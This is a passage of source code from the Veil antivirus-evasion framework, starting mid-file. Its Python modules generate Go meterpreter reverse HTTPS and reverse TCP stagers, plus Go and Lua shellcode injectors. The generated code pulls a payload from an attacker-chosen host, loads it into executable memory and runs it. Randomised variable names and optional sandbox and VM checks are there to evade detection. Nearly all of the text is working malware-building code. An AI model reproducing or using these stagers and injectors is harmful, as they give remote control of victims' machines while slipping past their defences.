uintptr) (uintptr, error) {\n" % (cust_func, size) payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (allocvarout, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) payload_code += heapcreateout + ", _, " + errorvariabledos + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, errorvariabledos, allocvarout) payload_code += "func %s(%s int, %s []byte) string {\n" % (randBase, length, foo) payload_code += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" % (random) payload_code += "var %s []byte\n" % (outp) payload_code += "for %s := 0; %s < %s; %s++ {\n" % (i, i, length, i) payload_code += "%s = append(%s, %s[%s.Intn(len(%s))])\n}\n" % (outp, outp, foo, random, foo) payload_code += "return string(%s)\n}\n" % (outp) payload_code += "func %s(%s int) string {\n" % (randTextBase64URL, length) payload_code += "%s := []byte(%s)\n" % (foo, base64Url) payload_code += "return %s(%s, %s)\n}\n" % (randBase, length, foo) payload_code += "func %s(%s, %s int) string {\n" % (getURI, sumVar, length) payload_code += "for {\n%s := 0\n%s := %s(%s)\n" % (checksum8, uri, randTextBase64URL, length) payload_code += "for _, %s := range []byte(%s) {\n%s += int(%s)\n}\n" % (value, uri, checksum8, value) payload_code += "if %s%s == %s {\nreturn \"/\" + %s\n}\n}\n}\n" % (checksum8, '%0x100', sumVar, uri) payload_code += "func main() {\n" # Sandbox code goes here if sandbox_checks != '': payload_code += sandbox_checks payload_code += "%s := \"http://%s:%s\"\n" % (hostAndPort, host, port) payload_code += "%s, _ := http.Get(%s + %s(92, %s))\n" % (response, hostAndPort, getURI, uriLength) payload_code += "defer %s.Body.Close()\n" % (response) payload_code += "%s, _ := ioutil.ReadAll(%s.Body)\n" % (payload, response) payload_code += "%s, _ := %s(uintptr(len(%s)))\n" % (allocvarout, cust_func, payload) payload_code += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" % (bufferVar, allocvarout) payload_code += "for %s, %s := range %s {\n" % (x, value, payload) payload_code += "%s[%s] = %s\n}\n" % (bufferVar, x, value) payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (allocvarout) payload_code += '}' * num_curlys self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/go/meterpreter/rev_https.py000066400000000000000000000237701365017756100244760ustar00rootroot00000000000000""" Custom-written pure go meterpreter/reverse_https stager Module built by @b00stfr3ak44 Updated by @ChrisTruncer """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker from random import randint class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" self.language = "go" self.extension = "go" self.rating = "Normal" self.name = "Pure Golang Reverse HTTPS Stager" self.path = "go/meterpreter/rev_https" self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} self.required_options = { "LHOST" : ["", "IP of the Metasploit handler"], "LPORT" : ["80", "Port of the Metasploit handler"], "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "UTCCHECK" : ["FALSE", "Check if system uses UTC time"], "USERPROMPT" : ["FALSE", "Prompt user prior to injection"], "RAMCHECK" : ["FALSE", "Check for at least 3 gigs of RAM"], "PROCCHECK" : ["FALSE", "Check for active VM processes"], "MINPROCS" : ["X", "Minimum number of running processes"], "BADMACS" : ["FALSE", "Check for VM based MAC addresses"], "CLICKTRACK" : ["X", "Require X number of clicks before execution"], "CURSORCHECK" : ["FALSE", "Check for mouse movements"], "DISKSIZE" : ["X", "Check for a minimum number of gigs for hard disk"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): memCommit = evasion_helpers.randomString() memReserve = evasion_helpers.randomString() pageExecRW = evasion_helpers.randomString() kernel32 = evasion_helpers.randomString() procVirtualAlloc = evasion_helpers.randomString() base64Url = evasion_helpers.randomString() virtualAlloc = evasion_helpers.randomString() size = evasion_helpers.randomString() allocvarout = evasion_helpers.randomString() err = evasion_helpers.randomString() randBase = evasion_helpers.randomString() length = evasion_helpers.randomString() foo = evasion_helpers.randomString() random = evasion_helpers.randomString() outp = evasion_helpers.randomString() i = evasion_helpers.randomString() randTextBase64URL = evasion_helpers.randomString() getURI = evasion_helpers.randomString() sumVar = evasion_helpers.randomString() checksum8 = evasion_helpers.randomString() uri = evasion_helpers.randomString() value = evasion_helpers.randomString() tr = evasion_helpers.randomString() client = evasion_helpers.randomString() hostAndPort = evasion_helpers.randomString() port = self.required_options["LPORT"][0] host = self.required_options["LHOST"][0] response = evasion_helpers.randomString() uriLength = randint(5, 255) payload = evasion_helpers.randomString() bufferVar = evasion_helpers.randomString() x = evasion_helpers.randomString() heapcreatevariable = evasion_helpers.randomString() heapallocvariable = evasion_helpers.randomString() heapcreateout = evasion_helpers.randomString() cust_func = evasion_helpers.randomString() errorvariable = evasion_helpers.randomString() errorvariabledos = evasion_helpers.randomString() # sandbox check code sandbox_checks, num_curlys = gamemaker.senecas_games(self) # Todo: randomize import order payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n" payload_code += "\"io/ioutil\"\n\"math/rand\"\n\"net/http\"\n\"time\"\n\"crypto/tls\"\n" if self.required_options["PROCESSORS"][0].lower() != "x": payload_code += "\"runtime\"\n" # Add in other imports based on checks being performed if self.required_options["USERNAME"][0].lower() != "x": payload_code += "\"strings\"\n\"os/user\"\n" if self.required_options["MINPROCS"][0].lower() != "x": payload_code += "\"os\"\n" if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': if "strings" not in payload_code: payload_code += "\"strings\"\n" if self.required_options["SLEEP"][0].lower() != "x": payload_code += "\"net\"\n\"encoding/binary\"\n" if self.required_options["BADMACS"][0].lower() != 'false': if "net" not in payload_code: payload_code += "\"net\"\n" if "strings" not in payload_code: payload_code += "\"strings\"\n" if self.required_options["UTCCHECK"][0].lower() != 'false': if "time" not in payload_code: payload_code += "\"time\"\n" if self.required_options["CURSORCHECK"][0].lower() != 'false': if "time" not in payload_code: payload_code += "\"time\"\n" payload_code += ")\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "const (\n" payload_code += "%s = 0x1000\n" % (memCommit) payload_code += "%s = 0x2000\n" % (memReserve) payload_code += "%s = 0x40\n)\n" % (pageExecRW) payload_code += "var (\n" payload_code += "%s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"\n" %(base64Url) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (kernel32) payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (procVirtualAlloc, kernel32) payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (allocvarout, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) payload_code += heapcreateout + ", _, " + errorvariabledos + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, errorvariabledos, allocvarout) payload_code += "func %s(%s int, %s []byte) string {\n" % (randBase, length, foo) payload_code += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" % (random) payload_code += "var %s []byte\n" % (outp) payload_code += "for %s := 0; %s < %s; %s++ {\n" % (i, i, length, i) payload_code += "%s = append(%s, %s[%s.Intn(len(%s))])\n}\n" % (outp, outp, foo, random, foo) payload_code += "return string(%s)\n}\n" % (outp) payload_code += "func %s(%s int) string {\n" % (randTextBase64URL, length) payload_code += "%s := []byte(%s)\n" % (foo, base64Url) payload_code += "return %s(%s, %s)\n}\n" % (randBase, length, foo) payload_code += "func %s(%s, %s int) string {\n" % (getURI, sumVar, length) payload_code += "for {\n%s := 0\n%s := %s(%s)\n" % (checksum8, uri, randTextBase64URL, length) payload_code += "for _, %s := range []byte(%s) {\n%s += int(%s)\n}\n" % (value, uri, checksum8, value) payload_code += "if %s%s == %s {\nreturn \"/\" + %s\n}\n}\n}\n" % (checksum8, '%0x100', sumVar, uri) payload_code += "func main() {\n" # Sandbox code goes here if sandbox_checks != '': payload_code += sandbox_checks payload_code += "%s := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}\n" %(tr) payload_code += "%s := http.Client{Transport: %s}\n" % (client, tr) payload_code += "%s := \"https://%s:%s\"\n" % (hostAndPort, host, port) payload_code += "%s, _ := %s.Get(%s + %s(92, %s))\n" % (response, client, hostAndPort, getURI, uriLength) payload_code += "defer %s.Body.Close()\n" % (response) payload_code += "%s, _ := ioutil.ReadAll(%s.Body)\n" % (payload, response) payload_code += "%s, _ := %s(uintptr(len(%s)))\n" % (allocvarout, cust_func, payload) payload_code += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" % (bufferVar, allocvarout) payload_code += "for %s, %s := range %s {\n" %(x, value, payload) payload_code += "%s[%s] = %s\n}\n" % (bufferVar, x, value) payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (allocvarout) payload_code += '}' * num_curlys self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/go/meterpreter/rev_tcp.py000066400000000000000000000234711365017756100241200ustar00rootroot00000000000000""" Custom-written pure go meterpreter/reverse_tcp stager Module built by @b00stfr3ak44 Updated by @ChrisTruncer """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" self.language = "go" self.extension = "go" self.rating = "Normal" self.name = "Pure Golang Reverse TCP Stager" self.path = "go/meterpreter/rev_tcp" self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} self.required_options = { "LHOST" : ["", "IP of the Metasploit handler"], "LPORT" : ["80", "Port of the Metasploit handler"], "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "UTCCHECK" : ["FALSE", "Check if system uses UTC time"], "USERPROMPT" : ["FALSE", "Prompt user prior to injection"], "RAMCHECK" : ["FALSE", "Check for at least 3 gigs of RAM"], "PROCCHECK" : ["FALSE", "Check for active VM processes"], "MINPROCS" : ["X", "Minimum number of running processes"], "BADMACS" : ["FALSE", "Check for VM based MAC addresses"], "CLICKTRACK" : ["X", "Require X number of clicks before execution"], "CURSORCHECK" : ["FALSE", "Check for mouse movements"], "DISKSIZE" : ["X", "Check for a minimum number of gigs for hard disk"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): memCommit = evasion_helpers.randomString() memReserve = evasion_helpers.randomString() pageExecRW = evasion_helpers.randomString() kernel32 = evasion_helpers.randomString() procVirtualAlloc = evasion_helpers.randomString() size = evasion_helpers.randomString() err = evasion_helpers.randomString() wsadata = evasion_helpers.randomString() socket = evasion_helpers.randomString() socketAddr = evasion_helpers.randomString() ip = self.required_options["LHOST"][0].split('.') buf = evasion_helpers.randomString() dataBuf = evasion_helpers.randomString() flags = evasion_helpers.randomString() qty = evasion_helpers.randomString() scLength = evasion_helpers.randomString() sc = evasion_helpers.randomString() sc2 = evasion_helpers.randomString() total = evasion_helpers.randomString() mem = evasion_helpers.randomString() buffer_variable = evasion_helpers.randomString() handle = evasion_helpers.randomString() x = evasion_helpers.randomString() value = evasion_helpers.randomString() cust_func = evasion_helpers.randomString() heapcreatevariable = evasion_helpers.randomString() heapallocvariable = evasion_helpers.randomString() heapcreateout = evasion_helpers.randomString() allocvarout = evasion_helpers.randomString() errorvariable = evasion_helpers.randomString() errorvariabledos = evasion_helpers.randomString() constSize = evasion_helpers.randomString() # sandbox check code sandbox_checks, num_curlys = gamemaker.senecas_games(self) payload_code = "package main\nimport (\n\"encoding/binary\"\n\"syscall\"\n\"unsafe\"\n" if self.required_options["PROCESSORS"][0].lower() != "x": payload_code += "\"runtime\"\n" # Add in other imports based on checks being performed if self.required_options["USERNAME"][0].lower() != "x": payload_code += "\"strings\"\n\"os/user\"\n" if self.required_options["MINPROCS"][0].lower() != "x": payload_code += "\"os\"\n" if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': if "strings" not in payload_code: payload_code += "\"strings\"\n" if self.required_options["SLEEP"][0].lower() != "x": payload_code += "\"net\"\n\"time\"\n\"encoding/binary\"\n" if self.required_options["BADMACS"][0].lower() != 'false': if "net" not in payload_code: payload_code += "\"net\"\n" if "strings" not in payload_code: payload_code += "\"strings\"\n" if self.required_options["UTCCHECK"][0].lower() != 'false': if "time" not in payload_code: payload_code += "\"time\"\n" if self.required_options["CURSORCHECK"][0].lower() != 'false': if "time" not in payload_code: payload_code += "\"time\"\n" payload_code += ")\n" payload_code += "const (\n" payload_code += "%s = 0x1000\n" % (memCommit) payload_code += "%s = 0x2000\n" % (memReserve) payload_code += "%s = 0x40\n)\n" % (pageExecRW) payload_code += "var (\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (kernel32) payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (procVirtualAlloc, kernel32) payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (allocvarout, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) payload_code += heapcreateout + ", _, " + errorvariabledos + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, errorvariabledos, allocvarout) payload_code += "func main() {\n" # Sandbox code goes here if sandbox_checks != '': payload_code += sandbox_checks payload_code += "const %s = 1000 << 10\n" %(constSize) payload_code += "var %s syscall.WSAData\n" %(wsadata) payload_code += "syscall.WSAStartup(uint32(0x202), &%s)\n" %(wsadata) payload_code += "%s, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n" %(socket) payload_code += "%s := syscall.SockaddrInet4{Port: %s, Addr: [4]byte{%s, %s, %s, %s}}\n" %(socketAddr, self.required_options["LPORT"][0], ip[0], ip[1], ip[2], ip[3]) payload_code += "syscall.Connect(%s, &%s)\n" %(socket, socketAddr) payload_code += "var %s [4]byte\n" %(buf) payload_code += "%s := syscall.WSABuf{Len: uint32(4), Buf: &%s[0]}\n" %(dataBuf, buf) payload_code += "%s := uint32(0)\n" %(flags) payload_code += "%s := uint32(0)\n" %(qty) payload_code += "syscall.WSARecv(%s, &%s, 1, &%s, &%s, nil, nil)\n" %(socket, dataBuf, qty, flags) payload_code += "%s := binary.LittleEndian.Uint32(%s[:])\n" %(scLength, buf) payload_code += "%s := make([]byte, %s)\n" %(sc, scLength) payload_code += "var %s []byte\n" %(sc2) payload_code += "%s = syscall.WSABuf{Len: %s, Buf: &%s[0]}\n" %(dataBuf, scLength, sc) payload_code += "%s = uint32(0)\n" %(flags) payload_code += "%s = uint32(0)\n" %(qty) payload_code += "%s := uint32(0)\n" %(total) payload_code += "for %s < %s {\n" %(total, scLength) payload_code += "syscall.WSARecv(%s, &%s, 1, &%s, &%s, nil, nil)\n" %(socket, dataBuf, qty, flags) payload_code += "for i := 0; i < int(%s); i++ {\n" %(qty) payload_code += "%s = append(%s, %s[i])\n}\n%s += %s\n}\n" %(sc2, sc2, sc, total, qty) payload_code += "%s, _ := %s(uintptr(%s + 5))\n" %(mem, cust_func, scLength) payload_code += "%s := (*[%s]byte)(unsafe.Pointer(%s))\n" %(buffer_variable,constSize, mem) payload_code += "%s := (uintptr)(unsafe.Pointer(%s))\n" %(handle, socket) payload_code += "%s[0] = 0xBF\n" %(buffer_variable) payload_code += "%s[1] = byte(%s)\n" %(buffer_variable, handle) payload_code += "%s[2] = 0x00\n" %(buffer_variable) payload_code += "%s[3] = 0x00\n" %(buffer_variable) payload_code += "%s[4] = 0x00\n" %(buffer_variable) payload_code += "for %s, %s := range %s {\n" %(x, value, sc2) payload_code += "%s[%s+5] = %s\n}\n" %(buffer_variable, x, value) payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" %(mem) payload_code += '}' * num_curlys self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/go/shellcode_inject/000077500000000000000000000000001365017756100230355ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/go/shellcode_inject/virtual.py000066400000000000000000000230421365017756100250760ustar00rootroot00000000000000""" Go inline shellcode injector using the VirtualAlloc() Uses basic variable renaming obfuscation Module built by @b00stfr3ak44 Updated by @ChrisTruncer """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker from tools.evasion.evasion_common import shellcode_help class PayloadModule: def __init__(self, cli_obj): # required self.language = "go" self.extension = "go" self.rating = "Normal" self.description = "Golang VirtualAlloc method for inline shellcode injection" self.name = "Golang Flat Shellcode Injector" self.path = "go/shellcode_inject/virtual" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} self.required_options = { "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "UTCCHECK" : ["FALSE", "Check if system uses UTC time"], "USERPROMPT" : ["FALSE", "Prompt user prior to injection"], "RAMCHECK" : ["FALSE", "Check for at least 3 gigs of RAM"], "PROCCHECK" : ["FALSE", "Check for active VM processes"], "MINPROCS" : ["X", "Minimum number of running processes"], "BADMACS" : ["FALSE", "Check for VM based MAC addresses"], "CLICKTRACK" : ["X", "Require X number of clicks before execution"], "CURSORCHECK" : ["FALSE", "Check for mouse movements"], "DISKSIZE" : ["X", "Check for a minimum number of gigs for hard disk"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): # randomly generate out variable names memCommit = evasion_helpers.randomString() memReserve = evasion_helpers.randomString() pageExecRW = evasion_helpers.randomString() kernel32 = evasion_helpers.randomString() procVirtualAlloc = evasion_helpers.randomString() cust_func = evasion_helpers.randomString() size = evasion_helpers.randomString() addr = evasion_helpers.randomString() err = evasion_helpers.randomString() shellcode_variable = evasion_helpers.randomString() buff = evasion_helpers.randomString() value = evasion_helpers.randomString() heapcreatevariable = evasion_helpers.randomString() heapallocvariable = evasion_helpers.randomString() heapcreateout = evasion_helpers.randomString() errorvariable = evasion_helpers.randomString() heapallocout = evasion_helpers.randomString() rand_var = evasion_helpers.randomString() procVirtualProtect = evasion_helpers.randomString() proc_out = evasion_helpers.randomString() vprotectendvar = evasion_helpers.randomString() # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode # sandbox check code sandbox_checks, num_curlys = gamemaker.senecas_games(self) payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n\"fmt\"\n\"os\"\n" if self.required_options["PROCESSORS"][0].lower() != "x": payload_code += "\"runtime\"\n" # Add in other imports based on checks being performed if self.required_options["USERNAME"][0].lower() != "x": payload_code += "\"strings\"\n\"os/user\"\n" if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': if "strings" not in payload_code: payload_code += "\"strings\"\n" if self.required_options["SLEEP"][0].lower() != "x": payload_code += "\"net\"\n\"time\"\n\"encoding/binary\"\n" if self.required_options["BADMACS"][0].lower() != 'false': if "net" not in payload_code: payload_code += "\"net\"\n" if "strings" not in payload_code: payload_code += "\"strings\"\n" if self.required_options["UTCCHECK"][0].lower() != 'false': if "time" not in payload_code: payload_code += "\"time\"\n" if self.required_options["CURSORCHECK"][0].lower() != 'false': if "time" not in payload_code: payload_code += "\"time\"\n" payload_code += ")\n" # Changes based on injection type if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "const (\n" payload_code += "%s = 0x1000\n" % (memCommit) payload_code += "%s = 0x2000\n" % (memReserve) payload_code += "%s = 0x04\n)\n" % (pageExecRW) payload_code += "var (\n" # injection type if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "%s = 0\n" %(proc_out) payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" %(kernel32) payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n" %(procVirtualAlloc, kernel32) payload_code += "%s = %s.NewProc(\"VirtualProtect\")\n)\n" %(procVirtualProtect, kernel32) payload_code += "func %s(%s uintptr) (uintptr, error) {\n" %(cust_func, size) payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" %(addr, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" %(addr, err, addr) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" payload_code += "func %s(%s uintptr) (uintptr, error) {\n" %(cust_func, size) payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" payload_code += heapallocout + ", _, _ := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" %(heapallocout, errorvariable, heapallocout) payload_code += "var %s string = \"%s\"\n" %(shellcode_variable, Shellcode) payload_code += "func main() {\n" # Sandbox code goes here if sandbox_checks != '': payload_code += sandbox_checks if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "%s, %s := %s(uintptr(len(%s)))\n" %(addr, err, cust_func, shellcode_variable) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "%s, %s := %s(uintptr(len(%s)))\n" %(heapallocout, err, cust_func, shellcode_variable) payload_code += "if %s != nil {\nfmt.Println(%s)\nos.Exit(1)\n}\n" %(err, err) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" %(buff, addr) payload_code += "var %s uintptr\n" %(proc_out) payload_code += "var %s uintptr\n" %(vprotectendvar) payload_code += "for " + rand_var + ", %s := range []byte(%s) {\n" %(value, shellcode_variable) payload_code += buff + "[" + rand_var + "] = %s\n}\n" % (value) payload_code += "%s, _, %s = %s.Call(%s, uintptr(len(%s)), 0x20, uintptr(unsafe.Pointer(&%s)))\n" %(proc_out, err, procVirtualProtect, addr, shellcode_variable, vprotectendvar) payload_code += "if %s == 0 {\nos.Exit(1)\n}\n" %(proc_out) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" %(buff, heapallocout) payload_code += "for " + rand_var + ", %s := range []byte(%s) {\n" %(value, shellcode_variable) payload_code += buff + "[" + rand_var + "] = %s\n}\n" % (value) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (addr) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (heapallocout) payload_code += '}' * num_curlys self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/lua/000077500000000000000000000000001365017756100177135ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/lua/shellcode_inject/000077500000000000000000000000001365017756100232115ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/lua/shellcode_inject/flat.py000066400000000000000000000053461365017756100245210ustar00rootroot00000000000000""" Custom-written lua inline shellcode injector Module built by @the_grayhound Updated by @ChrisTruncer """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import shellcode_help class PayloadModule: def __init__(self, cli_obj): # required options self.shortname = "VirtualAlloc" self.language = "lua" self.extension = "lua" self.rating = "Excellent" self.description = "VirtualAlloc pattern for shellcode injection" self.name = "Lua flat shellcode injector" self.required_options = {} self.path = "lua/shellcode_inject/flat" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False def generate(self): # Generate the shellcode if not self.cli_shellcode: shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: shellcode = self.cli_shellcode # get the raw shellcode raw = shellcode.encode('latin-1') raw = raw.decode('unicode_escape') # get the shellcode into the stupid-ass lua because # stupid-ass lua doesn't do string hex escapes shellcode = ''.join(["\\" + str(ord(c)).zfill(3) for c in raw]) payload_code = """shellcode="%s" core = require "alien.core" kernel32 = core.load("Kernel32") len = string.len(shellcode) va = kernel32.VirtualAlloc va:types{ ret = 'int', abi = 'stdcall', 'int', 'int', 'int', 'int' } ptr = va(0, len, 0x3000, 0x40) vl = kernel32.VirtualLock vl:types{ ret = 'int', abi = 'stdcall', 'int', 'int' } vl(ptr, len) rmm = kernel32.RtlMoveMemory rmm:types{ ret = 'int', abi = 'stdcall', 'int', 'string', 'int'} rmm(ptr, shellcode, len) ct = kernel32.CreateThread ct:types{ ret = 'int', abi = 'stdcall', 'int', 'int', 'int', 'int', 'int', 'ref int'} ht = ct(0, 0, ptr, 0, 0, 0) wfso = kernel32.WaitForSingleObject wfso:types{ ret = 'int', abi = 'stdcall', 'int', 'int'} wfso(ht, -1) """ % (shellcode) self.payload_source_code = payload_code return 